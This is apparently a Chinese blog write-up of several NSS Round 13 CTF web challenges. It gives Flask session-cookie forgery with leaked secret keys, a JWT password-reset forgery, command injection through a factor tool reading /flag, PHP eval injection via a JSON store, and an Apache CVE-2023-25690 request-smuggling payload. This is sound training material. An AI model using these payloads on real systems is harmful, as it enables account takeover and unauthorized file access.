NSS Round 13


是赛后靠wp自己复现的,可以划走了

flask?jwt?

看到提示就知道有可能是jwt伪造了

但事实是自己做的时候并不是这样

哈哈,这里是用了flask的session伪造,乐

注册个账户先:

就随便写邮箱号,用户名,密码

然后登录,burp suite抓包,发现了session:

1
.eJwljjkOwzAMwP7iuYMsRbaczwTWhXZNmqno35siExcC5KdsucfxLOt7P-NRtpeXtSRDpelUA1whlQeocW9NhgpdRDQEQMfItrBbFRG0hjQ1iVWGL9bS62yQQyf20MFROSEM2Jc6jecgsA7217pdkUqBSZGi5Ro5j9jvGynfH8N8MBc.ZHxhow.e7ICXFHHbbmNtfdQuOHCpFNp4LE

进入jwt.io试图解码jwt,但是

居然不是jwt格式。。

所以想到是不是flask的session

使用flask-session-cookie-manager-master试试

1
2
python.exe .\flask_session_cookie_manager3.py decode -c ".eJwljjkOwzAMwP7iuYMsRbaczwTWhXZNmqno35siExcC5KdsucfxLOt7P-NRtpeXtSRDpelUA1whlQeocW9NhgpdRDQEQMfItrBbFRG0hjQ1iVWGL9bS62yQQyf20MFROSEM2Jc6jecgsA7217pdkUqBSZGi5Ro5j9jvGynfH8N8MBc.ZHxhow.e7ICXFHHbbmNtfdQuOHCpFNp4LE"
b'{"_fresh":true,"_id":"f5013ad31e0db0fb590bc576689b8376622c2002d2ef645dc18882c623abf35b89d4c6fd1a60f9ba27eb95e15f0ec05d41ac5a930c70cfd1a7cfb513e2f3ef8b","_user_id":"8"}'

这里使用的是不带secret-key的解密方式,可以看到能够正常解码,userid是8

那么secretkey在哪呢?

这个问题困扰了我很久,直到我找到了一个重置密码的页面:

这里打开f12就找到了我们的secret-keyth3f1askisfunny

总结就是百密一疏,万万没想到把secretkey藏在这里了…

拿到secretkey直接重新解密:

1
2
python.exe .\flask_session_cookie_manager3.py decode -c ".eJwljjkOwzAMwP7iuYMsRbaczwTWhXZNmqno35siExcC5KdsucfxLOt7P-NRtpeXtSRDpelUA1whlQeocW9NhgpdRDQEQMfItrBbFRG0hjQ1iVWGL9bS62yQQyf20MFROSEM2Jc6jecgsA7217pdkUqBSZGi5Ro5j9jvGynfH8N8MBc.ZHxhow.e7ICXFHHbbmNtfdQuOHCpFNp4LE" -s "th3f1askisfunny"
{'_fresh': True, '_id': 'f5013ad31e0db0fb590bc576689b8376622c2002d2ef645dc18882c623abf35b89d4c6fd1a60f9ba27eb95e15f0ec05d41ac5a930c70cfd1a7cfb513e2f3ef8b', '_user_id': '8'}

那我们接下来重新加密session:

1
{'_fresh': True, '_id': 'f5013ad31e0db0fb590bc576689b8376622c2002d2ef645dc18882c623abf35b89d4c6fd1a60f9ba27eb95e15f0ec05d41ac5a930c70cfd1a7cfb513e2f3ef8b', '_user_id': '1'}

这里我之前一直尝试user id是不是改成admin,但是结果不是,改成admin后直接500 Internal Server Error

后来还是我自己尝试是不是把userid改成1就行了,结果真是 …

只能说带点运气成分在里面了

1
2
 python.exe .\flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': 'f5013ad31e0db0fb590bc576689b8376622c2002d2ef645dc18882c623abf35b89d4c6fd1a60f9ba27eb95e15f0ec05d41ac5a930c70cfd1a7cfb513e2f3ef8b', '_user_id': '1'}" -s "th3f1askisfunny"
.eJwljjkOg0AQwP6ydYo5mD34DNq5lLQQqih_DxGVG0v2p2y5x_Es63s_41G2l5e1pADydMYAV0iVAWrSau1DO18kMgIgp8i6iBv23skq8dRk0T58sZqOs0IOndRChwRKQhiILzhN5mCwBvbXml0R5KDkyK7lGjmP2O8bLN8fw2cwEA.ZHxlQQ.4mgFjAES6P3wZYGsQCO8Y6tJz00

重新登录,将session替换即可获得flag:

然后,赛后出题人来说这是非预期解(雾

flask?jwt?的预期解

这里的正确姿势是需要我们进行jwt伪造,重置admin账户的密码,以admin的身份进行登录并获取flag

这里的重置密码页面会发送重置密码的邮件

我们通过重置密码的连接可以获得jwt,重置链接的格式是这样的:

/changePassword/<jwttoken>?email=<youremail>

同时secretkey仍然是那个th3f1askisfunny

这个时候使用secretkey重新伪造jwt,覆盖后就能够重置admin的账户(题目中给出admin的邮箱是adm1n@flag.com)

重新修改admin的密码登录即可获取flag

flask?jwt?(hard)

这题我研究了一半,没想到通过删除session引发报错能够获取secretkey

同样注册登录,在拿flag前发现了注释:

访问/wor

发现只给了一段提示:

抓包获取flask session后解码的结果是:

1
2
python.exe .\flask_session_cookie_manager3.py decode -c ".eJwljjuOAjEQRK9iOSboj-2xfQEkJKLdHLnb3VoCCAYmQtydQRuVqvSkeq948dUef7E_180O8XKdsUfPgDwmo8EUcMkNRPNSSm1SeU8iJQCaZF5Snoq1VtJCPMQ5S20zafGJo4A3GbSYtGyYHUwhz4RD82gMuoB-sUX3E2QjZ_MqcRfZHrb-2_Ben9ebxf6K4Tv8bPdDgBRO2z0QEAeEnmoHDMfzb3y_P3TKO40.ZHxr4Q.Q0zp3DJFOTn8kR0HAKZFkl1AL14"
b'{"_fresh":true,"_id":"f5013ad31e0db0fb590bc576689b8376622c2002d2ef645dc18882c623abf35b89d4c6fd1a60f9ba27eb95e15f0ec05d41ac5a930c70cfd1a7cfb513e2f3ef8b","_user_id":"3","time":{" d":"Sun, 04 Jun 2023 10:48:01 GMT"}}'

居然和我们flask session里的内容的时间是一致的

那这是什么神奇的魔术呢?

这里怪我脑子不好使,还是做题做少了,当时做题的时候没想出来

这里肯定是flask读取了我们的session然后获取了time咯

那我们将session删除试试呢?

会发现我们直接进入报错界面了:

浏览报错界面直接发现了secretkey:

直接进行decode测试:

1
2
python.exe .\flask_session_cookie_manager3.py decode -c ".eJwljjuOAjEQRK9iOSboj-2xfQEkJKLdHLnb3VoCCAYmQtydQRuVqvSkeq948dUef7E_180O8XKdsUfPgDwmo8EUcMkNRPNSSm1SeU8iJQCaZF5Snoq1VtJCPMQ5S20zafGJo4A3GbSYtGyYHUwhz4RD82gMuoB-sUX3E2QjZ_MqcRfZHrb-2_Ben9ebxf6K4Tv8bPdDgBRO2z0QEAeEnmoHDMfzb3y_P3TKO40.ZHxr4Q.Q0zp3DJFOTn8kR0HAKZFkl1AL14" -s "hardgam3_C0u1d_u_f1ndM3????"
{'_fresh': True, '_id': 'f5013ad31e0db0fb590bc576689b8376622c2002d2ef645dc18882c623abf35b89d4c6fd1a60f9ba27eb95e15f0ec05d41ac5a930c70cfd1a7cfb513e2f3ef8b', '_user_id': '3', 'time': datetime.datetime(2023, 6, 4, 10, 48, 1, tzinfo=datetime.timezone.utc)}

重新加密即可,userid应该同样是改为1:

1
2
python.exe .\flask_session_cookie_manager3.py encode -t "{'_fresh': True, '_id': 'f5013ad31e0db0fb590bc576689b8376622c2002d2ef645dc18882c623abf35b89d4c6fd1a60f9ba27eb95e15f0ec05d41ac5a930c70cfd1a7cfb513e2f3ef8b', '_user_id': '1'}" -s "hardgam3_C0u1d_u_f1ndM3????"
.eJwljjkOg0AQwP6ydYo5mD34DNq5lLQQqih_DxGVG0v2p2y5x_Es63s_41G2l5e1pADydMYAV0iVAWrSau1DO18kMgIgp8i6iBv23skq8dRk0T58sZqOs0IOndRChwRKQhiILzhN5mCwBvbXml0R5KDkyK7lGjmP2O8bLN8fw2cwEA.ZHx4Bw.zFHiqeHdxef-OLZpKKsKhZdDP9c

这里如果不删掉后面的time 的话python会报错。。。

复制session即可获得flag:

同样地,获取到的secretkey同样也是jwt的secretkey,采用上面的预期解的方法做同样能够获取flag

ezfactors

1
description:原生 Linux 因数爆破工具。flag在根目录

…看完前面句号的东西我还认真的去社工了一下,发现并没有这种东西

这里的tool可以点击,进入后发现:

1
114514 = 2*31*1847

修改数字可以看到不同的数字的因数被分解

搜索了一下,发现linux确实有factor这个指令用于因数分解,而且分解的结果与页面的结果一致:

1
2
3
4
5
[root@linuxcool ~]# factor
60
60:2 2 3 5
1987
1987:1987

那这里就有可能就是直接一个命令执行,factor + 传入的参数

对于传入的参数没有作限制,所以可以尝试直接命令执行:

1
/factors/1234;cat%20%2fflag

这里后面的/要进行url编码,否则会报错(产生歧义,会认为你访问的是/factors/1234;cat /flag这个路径)

居然真的执行成功了。。

但是flag不可能是这个格式,很明显结果只能够显示数字和冒号还有空格

那我们需要找一个方式能够读取flag的全部内容并且是以纯数字的方式输出

这里采用odod能够将内容读取并且以8进制的方式返回,此时就是纯数字了

1
2
3
/factors/1234;od%20-b%20%2fflag
-b模式代表使用八进制单字节字符
此时返回的数据就能够进行解码

拿到cyberchef解码即可:

这题赛时没做出来((

因为自己就是在想linux有什么爆破因数的工具的rce然后进行漏洞利用。。

然后找不到,没想到居然是factor这个命令

其实这里做完就会发现这题跟ping命令是差不多的,同样是加分号后直接跟命令执行即可

MyWeb

1
2
description:试试我的JSON解析工具。

这题只能怪自己不肯静下心来好好钻研了。。

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
$data = file_get_contents('/tmp/data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('/tmp/data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('/tmp/data.json');
eval('$data = ' . $data . ';');
print_r($data);
} else {
highlight_file(__FILE__);
}

在这里重新梳理一遍源码:

modesaveread

先看read,read模块比较简单:

通过eval函数处理json格式并且输出,这里使用eval函数处理还是比较危险的,如果我们在$data里的内容是:

1
xxxxxxx;commandshere;

的话,就能够同样执行commandshere的命令,考虑在data处下手

然后再看save,通过传入value把value写入data.json内,然后保存

这里传入的value经过addslashes处理(单引号,双引号会被添加反斜杠,所以这里不能使用带引号的rce)

这里将代码copy并进行本地测试:

稍微修改了一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(E_ALL);
// 写了个网页存储JSON数据,但是还不会处理json格式,这样处理应该没有什么问题吧

if ($_GET['mode'] == 'save') {
$data = file_get_contents('data.json');
$value = addslashes($_GET['value']);
$data = str_replace(']', ", '$value']", $data);
file_put_contents('data.json', $data);
} else if ($_GET['mode'] == 'read') {
$data = file_get_contents('data.json');
@eval('$data = ' . $data .';');
print_r($data);
} else {
highlight_file(__FILE__);
}

data.json内容:

1
[1, "hi", 1234]

注意到写入data前的操作:先获取data.json的内容,将$data]直接替换成'$value'],也就是说操作的时候写入是这样的,假设传入的value是6666:

1
2
[1, "hi", 1234] -> [1, "hi", 1234, '6666']
静态看不出来,但是总能理解的((

漏洞就出在这里了,简单地说就是直接将传入的value直接拼接在尾部

假设我们传入的是: ]//

那json的内容就会变成:

1
[1, "hi", ']//']

从vscode里看到后面直接被注释掉了,前面完成了闭合,而且read能够直接读出内容:

这里就类似于sql注入了,通过闭合后面的]从而成功执行自己的命令

接下来只需要用分号将命令间隔开并且执行自己的命令即可

由于接下来的内容都被//注释掉了,这里需要新开一行添加;

也就是:

1
2
3
4
?mode=save&value=]%0a;print_r(getenv());//
//getenv获取环境变量
//或者
?mode=save&value=]%0a;cat%20/flag;//

这里好像是靶机寄了,做不出来…

信息收集

做不了一点

dirsearch扫到了index.php/login/cgi-bin/testcgi/cgi/bin/printenv

然后外加提示说搜索的不是dirsearch((

然后我意识到可能是让我去找某些cve了

由于搜到的是cgi那边的,所以我就尝试去找了cgi-bin的漏洞

CVE-2014-6271 shellshock

还真有。。

然后直接尝试用它的poc,发现并没有运行这个脚本。。

要开启的话还需要我们chmod 775

并没有办法执行chmod 775

这个方法就寄了

然后查看了index.php/login

是任意文件读取:

1
2
3
4
5
6
7
8
9
<?php
$file = $_GET['file'];
if(isset($file)){
echo file_get_contents($file);
}
else{
highlight_file(__FILE__);
}
?>

wappalyzer解析是apache 2.4.10,那就只能再找找apache 2.4.10的漏洞了

这部分现在是我现看先学的

然后burp抓包的结果的apache却是2.4.55

找找2.4.55的漏洞:

CVE-2023-25690 Apache HTTP Server 请求走私漏洞 分析与利用_黑客技术 (hackdig.com)

…真有

我们详细看看这篇CVE的解析:

我对于这里的解读大概是这样的:

先通过读取conf/httpd.conf

Apache默认安装httpd.conf在哪里?-Java 学习之路 (javaroad.cn)

这篇文章讲述了路径在哪:

/usr/local/apache2/conf/httpd.conf

看到Rewrite rule的路径,这里的意思就是将请求的内容转发到/hello/*的路径(应该是

回到这里,我们的Rewrite rule是这样的:

1
RewriteRule "^/nssctf/(.*)" "http://backend-server:8080/index.php?id=$1" [P] ProxyPassReverse "/nssctf/" "http://backend-server:8080/"

再回到CVE分析的文章,查看利用的方式,大概就是打断点(

那我们直接看利用方式:

1
/hello/abc%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0aUser-Agent:%20curl/7.68.0%0d%0a%0d%0a' + hexdata + b'GET%20/flag.txt

修改一下payload:

1
/nssctf/abc%20HTTP/1.1%0d%0aHost:%20127.0.0.1%0d%0a%0d%0aGET%20/flag.txt

即可获取flag

至于为什么是/flag.txt 当然是猜的(可以看出我就把hello改成了nssctf而已)

TimeTrcer

不会


看了许多师傅的wp,然后自己再尝试复现而完成的这篇博客,非常的没有营养…

在此po出各位师傅写的wp,毕竟我是靠着他们才能写出这篇文章的: